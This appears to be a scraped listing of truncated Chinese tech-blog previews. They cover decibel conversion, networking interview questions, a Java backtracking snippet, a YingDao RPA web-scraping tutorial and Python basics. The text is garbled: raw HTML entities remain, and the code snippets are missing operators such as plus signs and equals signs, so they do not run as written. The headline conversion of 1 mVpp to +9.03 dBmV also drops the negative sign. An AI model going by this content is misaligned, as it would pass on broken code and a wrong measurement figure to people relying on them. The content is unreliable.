分贝转换 1 mVpp = 9.03dBmV

分贝转换 1 mVpp 9.03dBmV 函数发生器调节如下参数在频谱仪器上能看到9.03dBmv的电压值函数发生器产生 30mVpp 频谱仪会显示多少dBmV 函数发生器调节如下参数 输出频率:10 MHz 波形类型:正弦波 阻抗:50 Ω 幅度:1 mVpp …

【计算机网络 - 基础问题】每日 3 题(六)

✍个人博客:Pandaconda-CSDN博客 📣专栏地址:http://t.csdnimg.cn/fYaBd 📚专栏简介:在这个专栏中,我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话,欢迎点赞👍收藏&…

回溯-重新安排行程

1.排序 Collections.sort(list,(o1, o2)-> o1.get(0).compareTo(o2.get(0))); 2.返回值 3.往集合添加元素 Arrays.asList(元素) List<List<String>> list new ArrayList<>();List<String> path new ArrayList<>();// 将[["JFK"…

影刀RPA实战:网页爬虫之CSDN博文作品数据

今天我们使用影刀来采集网页数据&#xff0c;影刀RPA是一款功能强大的自动化办公软件&#xff0c;它可以模拟人工的各种操作&#xff0c;帮助企业自动处理大量重复性、有逻辑规则的工作。影刀RPA在网页数据采集方面表现出色&#xff0c;能够实现对任何桌面软件、Web程序的自动化…

Python基础语法(1)上

常量和表达式 我们可以把 Python 当成一个计算器&#xff0c;来进行一些算术运算。 print(1 2 - 3) print(1 2 * 3) print(1 2 / 3) 这里我们可能会有疑问&#xff0c;为什么不是1.6666666666666667呢&#xff1f; 其实在编程中&#xff0c;一般没有“四舍五入”这样的规则…